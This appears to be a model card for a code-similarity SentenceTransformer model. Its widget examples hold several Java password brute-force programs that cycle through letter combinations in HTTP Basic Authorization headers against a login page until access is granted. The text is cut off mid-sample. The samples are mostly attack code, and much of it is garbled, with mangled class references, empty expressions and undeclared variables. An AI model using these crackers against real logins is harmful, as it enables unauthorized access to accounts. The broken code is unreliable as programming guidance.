buelfhood's picture
Add new SentenceTransformer model
3337fa0 verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - generated_from_trainer
  - dataset_size:33411
  - loss:BatchAllTripletLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
  - source_sentence: |

      package java.httputils;

      import java.util.ArrayList;
      import java.util.Collection;
      import java.util.Iterator;
      import java.util.Observable;
      import java.util.Observer;


      public class BruteForceThreadPool extends ThreadGroup implements Observer
      {
          protected String URL = "http://localhost:8080/secret/index.html";
          protected int poolSize = 6;

          protected Collection threadList = new ArrayList();
          protected String fileName = "BruteForceReport.txt";
          protected boolean finished = false;
          protected String userName = "";
          
          public BruteForceThreadPool(String name)
          {
              super(name);
          }

          
          public BruteForceThreadPool(ThreadGroup parent, String name)
          {
              super(parent, name);
          }

          
          public synchronized void update(Observable o, Object arg)
          {
              
              System.out.println("Update method called  the observer.");
              RunnableBruteForce rbf = (RunnableBruteForce) o;
              rbf.createReport();

              
              
              for (Iterator iter = threadList.iterator(); iter.hasNext();)
              {
                  RunnableBruteForce target = (RunnableBruteForce) iter.next();
                  target.setStop(true);
              }
              finished = true;
          }


          
          protected void start(int threads)
          {
              
              
              int load = BruteForce.letters.length / threads;
              int remainder = BruteForce.letters.length % threads;

              
              for (int i = 0, end = ( + load);
                  end < BruteForce.letters.length;
                  i = end, end += load)
              {
                  RunnableBruteForce runnable = new RunnableBruteForce();
                  runnable.setURL(getURL());
                  runnable.setRangeStart();
                  runnable.setUserName(userName);
                  
                  runnable.setRangeEnd(
                      end + load > BruteForce.letters.length ?
                      BruteForce.letters.length :
                      end);

                  runnable.addObserver(this);
                  runnable.setFileName(getFileName());
                  
                  threadList.add(runnable);
              }

              
              for (Iterator iter = threadList.iterator(); iter.hasNext();)
              {
                  RunnableBruteForce target = (RunnableBruteForce) iter.next();
                  new Thread(target).start();
              }

          }

          public static void main(String[] args)
          {
              BruteForceThreadPool pool = new BruteForceThreadPool("BruteForceThreadGroup");

              if (args.length < 4)
              {
                  pool.printUsage();
                  return;
              }
              pool.setURL(args[0]);
              pool.userName = args[1];
              pool.setFileName(args[2]);

              pool.get(Integer.parseInt(args[3]));
              while (true)
              {
                  try
                  {
                      Thread.currentThread().sleep(100);
                      if (pool.finished)
                      {
                          break;
                      }
                  }
                  catch (InterruptedException e)
                  {
                      e.printStackTrace();
                  }
              }

              System.exit(0);
          }


          public String printUsage()
          {
              StringBuffer s = new StringBuffer();

              s.append("** BruteForceThreadPool proper usage **\n\n");
              s.append(
                  "java ..httputils.BruteForceThreadPool <URL> <UserName> <OutputFile> < Of Threads = 6>\n\n");

              return s.toString();
          }

          
          public Collection getThreadList()
          {
              return threadList;
          }

          
          public void setThreadList(Collection collection)
          {
              threadList = collection;
          }


          
          public String getFileName()
          {
              return fileName;
          }

          
          public void setFileName(String string)
          {
              fileName = string;
          }

          
          public String getURL()
          {
              return URL;
          }

          
          public void setURL(String string)
          {
              URL = string;
          }

          
          public int getPoolSize()
          {
              return poolSize;
          }

          
          public void setPoolSize(int i)
          {
              poolSize = i;
          }

      }
    sentences:
      - "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport java.io.*;\npublic class BruteForce   {\n  \n  \n  \n  String passwordLetters[] ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n  String password=\"  \";\n  static int counter;\n  static int noOfAttempts;\n  static String userName=\"\";\n  HttpURLConnection u;\n  boolean threadF,threadM;\n  String passBase64;\n  \n  PasswordCrackThreadF passwordCrackThreadF;\n  PasswordCrackThreadM passwordCrackThreadM;\n  URL   url;\n  \n  \n  public BruteForce() {\n    breakPassword();\n  }\n\n  public static void main (String args[])  {\n    new BruteForce();\n  }\n  \n  \n  \n  private void  breakPassword() {\n    int j;\n    \n    breakOneLetterPassword();\n    \n    breakTwoLetterPassword();\n    \n    \n    \n\n    passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n    \n    passwordCrackThreadM  = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n    \n    passwordCrackThreadF.print();\n    passwordCrackThreadM.print();\n  }\n  \n  \n  private void breakOneLetterPassword() {       \n     MyHttpURLConnection    httpURLConnection;\n     try {\n\t   \n\t    url  = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t   \n\t   passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n           u = (HttpURLConnection)url.openConnection();\n\t   u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n     } catch  (IOException  io) {io.printStackTrace();}\n         \n         loop: for (int i=0;i<52;i++) {\n                   password = passwordLetters[i];\n\t\t   \n\t\t   password =\":\"+ password;\n                   try {\n                   \n\t  \t       u=  (HttpURLConnection)url.openConnection();\n\t\t       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n                       u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t       u.connect();\t\n\t\t       noOfAttempts++;  \n\t\t       if (u.getContentLength() != 0) {\n\t\t             \n\t\t             if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {\n\t\t         \n\t                         System.out.println (\"Your User Name : Password is  \"+password);\n\t\t\t\t System.out.println(\"   \");\n\t\t\t         System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\t\t\t  \n\t\t\t         System.exit(0);\n                     \n\t                     }\n\t\t       }\n\t\t   } catch  (ProtocolException  px) {px.printStackTrace();\n                   \n                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\t           } catch (BindException e){e.printStackTrace();\n\t           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();\n\t           } catch  (IOException  io) {io.printStackTrace();\n\t\t   \n\t           } finally {u.disconnect();\n\t           }\n        }   \n  }\n  \n  \n  private void breakTwoLetterPassword() {   \n      MyHttpURLConnection    httpURLConnection;       \n      try {\n\t   \n\t    url  = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t   \n\t    passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n            u = (HttpURLConnection)url.openConnection();\n\t    u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n      } catch  (IOException  io) {io.printStackTrace();}\n\n      \n      loop: for (int i=0;i<52;i++) {\n                for (int j=0;j<52;j++) {\n                   password = passwordLetters[i]+passwordLetters[j];\n\t\t    \n\t\t   password =\":\"+ password;\n\t\t   \n\t\t   \n\t          \n                   try {\n\t\t        u=  (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n                                  u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n            \t        if (u.getContentLength() != 0) {\n\t\t           if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {\n\t                      System.out.println (\"Your User Name : Password is  \"+password); \n\t\t\t      System.out.println(\"   \");\n\t\t\t      System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\t\t\t  \n\t\t\t      System.exit(0);\n\t                   }\n\t\t        }\n\t\t   \n\t\t\n\t           } catch  (ProtocolException  px) {px.printStackTrace();\n                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\t           } catch (BindException e){e.printStackTrace();\n\t           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();\n\t           } catch  (IOException  io) {io.printStackTrace();\n\t\t   \n\t           } finally {u.disconnect();\n\t           }\n               }  \n      }\n\n\n  }\n}\n\nclass PasswordCrackThreadF extends  Thread  {\n   \n   \n   \n   private String passwordLetters[] ;\n   private String password=\"  \";\n   private static String userName=\"\";\n   private MyHttpURLConnection    httpURLConnection;\n   private URL   url;\n   \n   BruteForce bruteForce;\n   int count;    \n   String passBase64;\n   private HttpURLConnection  u;\n   \n   int start,stop;\n   \n   static boolean found;\n   \n   PasswordCrackThreadF(int start,int stop,int counter,String[]\n                                                 passwordLetters,String userName,BruteForce bruteForce) {\n       this.start = start;\n       this.stop  = stop;\n       this.passwordLetters =passwordLetters;\n       this.userName=userName;\n       count =counter;\n       this.bruteForce=bruteForce; \n       bruteForce.threadF=true;\n\t\n       \n       passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n       try {\n\t     \n\t     url  = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t    \n\n\t     u = (HttpURLConnection)url.openConnection();\n             \n\t     u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t  \n\n       } catch  (IOException  io) {io.printStackTrace();}\n\n   }\n  \n   public synchronized void run()  {\n     \n     outer : for (int i=0; i<stop;i++)  {\n                 for (int j=0;j<52;j++) {\n                     for (int k=0;k<52;k++) {\n                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n   \t                 password =\":\"+ password;\n\t\t\t \n\t\t\t\n\t\t\t\n\t\t\t  while (!(bruteForce.threadF)) {\n\t\t\t     try { wait(1); }\n\t\t\t       catch (InterruptedException e){}\n\t\t\t   }  \n\t\t\t   \n\t\t\t  if (found)\n\t\t\t      System.exit(0);\n                          try {   \n\t\t\t        u = (HttpURLConnection)url.openConnection();\n\t\t\t        passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n                                u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\t         \n\n\t\t\t\n                                u.connect();\n\t\t\t\t\n\t\t                BruteForce.noOfAttempts++;\n\n\t\t                if (u.getContentLength() != 0) {\n\n\t\t                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {\n\t\t\t\t       found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\t  \n\t\t\t\t\t\n\t\t                        System.out.println (\"Your User Name : Password is  \"+password+ \n\t\t                                 \"   \"+ \" Found by Thread  \"+count);\n\t\t\t\t\tSystem.out.println(\"   \");\n\t\t\t                System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n\t\t\t\t      \t \n               \t\t               System.exit(0);\n\n\t                            }\n\t\t               }\n\t\t   \n\t\t \t\t \n\t                 } catch  (ProtocolException  px) {px.printStackTrace();\n                         } catch ( NoRouteToHostException nr){k--; \n\t\t\t    nr.printStackTrace();\n                         } catch (BindException e){e.printStackTrace();\n\t                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();\n\t                 } catch  (IOException  io) {io.printStackTrace();\n\t\t\t \n\t                 } finally {u.disconnect();\n\t                 }\n\t\t\t bruteForce.threadF=false;\n\t\t\t bruteForce.threadM=true;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n                    }\n\t\t   \n     }\n    System.out.println(\"End\");\n  }\n }\n}\n\n\nclass PasswordCrackThreadM extends  Thread  {\n   \n   \n   \n   private String passwordLetters[] ;\n   private String password=\"  \";\n   private static String userName=\"\";\n   private MyHttpURLConnection    httpURLConnection;\n   private URL   url;\n   String passBase64;\n   private URLAuthenticator  urlAuthenticator =  new URLAuthenticator(userName);\n   BruteForce bruteForce;\n   int count;    \n   private HttpURLConnection  u;\n   \n   int start,stop;\n   \n   static boolean found;\n   \n   \n   \n   PasswordCrackThreadM(int start,int stop,int counter,String[]\n                                                 passwordLetters,String userName,BruteForce bruteForce) {\n       this.start = start;\n       this.stop  = stop;\n       this.passwordLetters =passwordLetters;\n       this.userName=userName;\n       count =counter;\n        this.bruteForce=bruteForce; \n       try {\n\t     \n\t     url  = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t     \n             u = (HttpURLConnection)url.openConnection();\n\t     passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n               \n\t     u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\n\t     \n\n\t     \n\t     \n\n       } catch  (IOException  io) {io.printStackTrace();}\n\n   }\n  \n   public synchronized void run()  {\n     \n     outer : for (int i=0; i<stop;i++)  {\n                 for (int j=0;j<52;j++) {\n                     for (int k=0;k<52;k++) {\n                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n   \t                 password=\":\"+password;\n\t\t\t\n\t                 \n\t\t\t\n\t\t\t\n\t\t\t  while  (!(bruteForce.threadM)) {\n\t\t\t     try { wait(1); }\n\t\t\t       catch (InterruptedException e){}\n\t\t\t   }\n\t\t\t     \n\t\t\t   \n\t\t\t  if (found)\n\t\t\t      System.exit(0);\n                          try {   u = (HttpURLConnection)url.openConnection();\n\t\t\t \n                                  passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n                                  u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\t         \n\n\t\t\t\n                                  u.connect();\n                                  BruteForce.noOfAttempts++;\n\t\t               \n\t\t                 if (u.getContentLength() != 0) {\n\t\t\t           \n\t\t                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {\n\t\t\t\t       found=true;\n\t\t\t\t      \n\t\t\t\t   \n\t\t\t\t\t\n\t\t\t\t\t  \n\t\t\t\t\t\n\t\t                        System.out.println (\"Your User Name : Password is  \"+password+ \n\t\t                                 \"   \"+ \" Found by Thread  \"+count);\n\t\t\t\t      \t \n\t\t\t\t\t \n\t\t\t\t\tSystem.out.println(\"   \");\n\t\t\t                System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n               \t\t                System.exit(0);\n\n\t                            }\n\t\t                }\n\t\t   \n\t\t \t\t \n\t                 } catch  (ProtocolException  px) {px.printStackTrace();\n                         } catch ( NoRouteToHostException nr){k--; \n\t\t\t       nr.printStackTrace();\n                         } catch (BindException e){e.printStackTrace();\n\t                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();\n\t                 } catch  (IOException  io) {io.printStackTrace();\n\t\t\t \n\t                 } finally {u.disconnect();\n\t                 }\n\t\t\t bruteForce.threadF=true;\n\n\t\t\t \n\t\t\t bruteForce.threadM=false;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n                    }\n\t\t   \n     }\n    System.out.println(\"End\");\n  }\n }\n}\n\n\n\n\n\n\n\nclass URLAuthenticator  extends Authenticator {\n   private String uName;\n   String passwd;\n   static  char[] password;\n   public URLAuthenticator(String uName) {\n\n     this.uName = uName;\n   }\n\n   public void setPassword(String passwd)  {\n\n\t this.passwd=passwd;\n\t password=passwd.toCharArray();\n\n   }\n   \n   public PasswordAuthentication getPasswordAuthentication()  {\n\n\t\n \t\n\t\n\treturn new PasswordAuthentication(uName,password);\n   }\n\n}\n\n\n\n\n \n\nclass MyHttpURLConnection extends HttpURLConnection  {\n    public MyHttpURLConnection(URL url) {\n       super(url);\n    }\n    public void disconnect() {\n    }\n\n    public boolean usingProxy() {\n        return true;\n    }\n    public void connect() {\n    }\n\n}\n\n"
      - "\nimport java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\n\n\n\npublic class BruteForce \n{\n                                    \n    \n    \n    private  int consonantUpperBound = CrackingConstants.consonantUpperBound;\n    private  int consonantLowerBound = CrackingConstants.consonantLowerBound;\n    private  int vowelUpperBound = CrackingConstants.vowelUpperBound;\n    private  int vowelLowerBound = CrackingConstants.vowelLowerBound;\n    \n    \n    \n    \n    private int verbose = CrackingConstants.quietMode;\n    private int scanType = CrackingConstants.casedScan;\n\n    private int passwordsTried = 0;\n \n\t\n\t\n\tpublic static void main(String args[])\n\t{\n\t\t int tStart;\n\t\t int tFinish;\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n\t        \n\t    BruteForce  pwForcer = new BruteForce();\n\n\t    if(args.length > 0)\n\t    {\n\t        for(int i = 0; i < args.length; i++)\n\t        {\n        \t\tif((args[i].indexOf(\"-h\") > -1) || (args[i].indexOf(\"-H\") > -1))\n        \t\t    {\n        \t\t\tSystem.out.println(\"\\n-s  -S\\tonly tests lower  passwords.\");\n        \t\t\tSystem.out.println(\"\\n-v\\tprints the patterns as    tried.\");\n        \t\t\tSystem.out.println(\"-V\\tprints out the patterns and the passwords as    generated. \\n\\tThis option slows the program considerably.\\n\");\n        \t\t\treturn;\n        \t\t    }\t\n        \t\telse if(args[i].indexOf(\"-v\") > -1) \n        \t\t    pwForcer.verbose = CrackingConstants.verboseMode1;\n        \t\telse if(args[i].indexOf(\"-V\") > -1)\n        \t\t    pwForcer.verbose = CrackingConstants.verboseMode2;\n        \t\telse if((args[i].indexOf(\"-s\") > -1) || (args[i].indexOf(\"-S\") > -1))\n        \t\t    pwForcer.scanType = CrackingConstants.simpleScan;\n\t\t    }\n\t    }\n\n        \n\t    System.out.println(\"\\n\\n********************************\\n\");\n\t\tSystem.out.println(\"Starting brute force run at \" + \n\t\t    longTimestamp.format(new Date()));\n\t\tif(args.length > 0)\n\t\t{\n\t\t\tString arguments = \"\";\n\t\t\tfor( i =0; i < args.length; i++)\n\t\t\t\targuments += args[i] + \" \";\n\t\t\tSystem.out.println(\"\\nOptions: \" + arguments + \"\\n\");\n\t\t}\n\t\tif(pwForcer.scanType == CrackingConstants.simpleScan)\n    \t    System.out.println(\"Only lower  passwords  tried.\");\n    \telse\n    \t    System.out.println(\"Both lower and upper  passwords  tried.\");\n\t    System.out.println(\"\\n********************************\\n\");\n\n\t    tStart = System.currentTimeMillis();\n\t    pwForcer.run();\n\t    tFinish = System.currentTimeMillis();\n\t    \n        if (pwForcer.scanType == CrackingConstants.casedScan)\n        {\n\t        \n    \t    \n\t        \n\t        \n\t        System.out.println (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of a possible \" + (26 * 26 * 26 * 8) + \")\");\n\t        System.out.println (\"That is \" + pwForcer.passwordsTried/8  + \" unique three letter combinations were tried (out of a possible \" + (26 * 26 * 26) + \")\");\n        }\n        else\n        {\n    \t    System.out.println (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of a possible \" + (26 * 26 * 26) + \")\\n\");\n        }\n        \n\t    \n\t    System.out.println(\"\\n********************************\\n\");\n\t\tSystem.out.println(\"Finished brute force run at \" + \n\t\t    longTimestamp.format(new Date()));\n\t\tSystem.out.println(\"Time taken: \" + ((tFinish - tStart)/1000) + \" seconds\");\n\t    System.out.println(\"\\n********************************\");\n\t}   \n\n\t\n    public BruteForce()\n    {\n    }   \n\n\t\n    private void run()\n    {\n        \n        \n         leftIndex = 0;\n         midIndex = 0;\n         rightIndex = 0;\n        \n        \n\t\t\n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying stutters (AAA, aaa, etc.)\");\n        for( i = vowelLowerBound; i <= consonantUpperBound; i++)\n        {\n            leftIndex = i;\n            midIndex = i;\n            rightIndex = i;\n            if(tryLogin(leftIndex, midIndex, rightIndex))\n               return;\n        }\n            \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying consonant-vowel-consonant patterns.\");\n        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)\n            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)\n                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n                    if(tryLogin(leftIndex, midIndex, rightIndex))\n                        return;\n            \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying consonant-vowel-vowel patterns.\");\n        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)\n            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)\n                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n                    if(tryLogin(leftIndex, midIndex, rightIndex))\n                        return;\n            \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying vowel-consonant-vowel patterns.\");\n        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)\n                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n                    if(tryLogin(leftIndex, midIndex, rightIndex))\n                        return;\n    \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying vowel-consonant-consonant patterns.\");\n        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)\n                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n                    if(tryLogin(leftIndex, midIndex, rightIndex))\n                        return;\n    \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying vowel-vowel-consonant patterns.\");\n        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)\n                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n                    if(tryLogin(leftIndex, midIndex, rightIndex))\n                        return;\n            \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying consonant-consonant-vowel patterns.\");\n        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)\n            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)\n                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n                    if(tryLogin(leftIndex, midIndex, rightIndex))\n                        return;\n            \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying  remaining vowel-vowel-vowel patterns.\");\n        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)\n                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n                    if((leftIndex == midIndex) && (leftIndex == rightIndex))\n                    {\n                        \n                    }\n                    else\n                    {\n                        if(tryLogin(leftIndex, midIndex, rightIndex))\n                            return;\n                    }\n            \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying  remaining consonant-consonant-consonant patterns.\");\n        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)\n            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)\n                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n                    if((leftIndex == midIndex) && (leftIndex == rightIndex))\n                    {\n                        \n                    }\n                    else\n                    {\n                        if(tryLogin(leftIndex, midIndex, rightIndex))\n                            return;\n                    }\n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying monographs (A, a, etc.)\");\n        for ( i = 0; i <= consonantUpperBound; i++)\n        {\n            leftIndex = i;\n            midIndex = -1;\n            rightIndex = -1;\n            if(tryLogin(leftIndex, midIndex, rightIndex))\n               return;\n        }\n        \n        \n        \n    \tif(verbose > CrackingConstants.quietMode)\n    \t    System.out.println(\"Trying bigraphs (AA, aa, etc.)\");\n        for( i = 0; i <= consonantUpperBound; i++)\n        {\n        \tfor( j = 0; j <= consonantUpperBound; j++)\n        \t{\n            \tleftIndex = i;\n            \tmidIndex = j;\n        \t    rightIndex = -1;\n    \t        if(tryLogin(leftIndex, midIndex, rightIndex))\n\t               return;\n            }\n        }\n        \n        return;\n     }   \n\n\t\n    private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)\n    {\n        \n        LoginAttempt login = new LoginAttempt();\n        LoginAttemptResults results = new LoginAttemptResults();\n\n        \n        CasePasswords casedPasswords = new CasePasswords(verbose);\n\n        \n        \n        String tail = \"\";\n\n        results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);\n        passwordsTried = results.getPasswordsTried();\n        return results.getSuccess();\n    }\n         \n} \n"
      - |




        public class HoldSharedData
        {
            private int      numOfConnections = 0;
            private   int   startTime;
            private   int   totalTime = 0;
            private String[] password;
            private int      pwdCount;

            public HoldSharedData( int time, String[] pwd, int count )
            {
                startTime = time;

                password = pwd;
                pwdCount = count;
            }

            public int getPwdCount()
            {
                return pwdCount;
            }

            public void setNumOfConnections( )
            {
                numOfConnections ++;
            }

            public int getNumOfConnections()
            {
                return numOfConnections;
            }

            public int getStartTime()
            {
                return startTime;
            }

            public void setTotalTime( int newTotalTime )
            {
                totalTime = newTotalTime;
            }

            public int  getTotalTime()
            {
                return totalTime;
            }

            public String getPasswordAt( int index )
            {
                return password[index];
            }
        }  
  - source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n public static void main (String[] args) throws IOException {\n  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\n       int start = new Date().getTime();\n      String[] letters = {\"a\",\"A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n                          \"h\",\"H\",\"i\",\"I\",\"j\",\"J\",\"k\",\"K\",\"l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t  \"o\",\"O\",\"p\",\"P\",\"q\",\"Q\",\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"U\",\n\t\t\t  \"v\",\"V\",\"w\",\"W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n      int len = 52;\n      int total = 52;\n      String[] cad = new String[total];\n      int t=0;\n      \n      for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\t t++;\n      } \n      for (int i=0;i<=len-1;i++){\n         for (int j=0;j<=len-1;j++){\n\t    cad[t] = letters[j]+letters[i];\n\t    t++;\n      }}\n      for (int i=0;i<=len-1;i++){\n       for (int j=0;j<=len-1;j++){\n        for (int k=0;k<=len-1;k++){\n\t   cad[t] = letters[k]+letters[j]+letters[i];\n\t   t++;\n      }}}\n            \n       int response = 0;\n       for (t=0;t<=total-1;t++){\n        String uname = \"\";\n        String userinfo = uname + \":\" + cad[t];\n        try{\n         String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n         URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n         HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n         uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n         response = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n        }\n        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   \n        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }\n       }\n       System.out.println(\"Response \"+t+\" was \"+response);\n       System.out.println(\"The successful password was \"+cad[t]);\n        finish = new Date().getTime();\n       float totaltime = (float)(finish-start)/1000;\n       System.out.println(\"Total time: \"+totaltime+\" seconds\");\n   }\n}\n\n"
    sentences:
      - "\n\nclass WebPage\n{\n    \n    \n    private boolean success = false;\n    \n    private String pageContents= \"\";\n    \n\n\t\n    public WebPage()\n    {\n    }\n    \n\t\n    public void setSuccess (boolean inSuccess)\n    {\n        success = inSuccess;\n    }\n    \n\t\n    public boolean getSuccess()\n    {\n        return success;\n    }\n    \n\t\n    public void setPageContents (String inPage)\n    {\n        pageContents = inPage;\n    }\n    \n\t\n    public String getPageContents()\n    {\n        return pageContents;\n    }\n}   \n"
      - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new 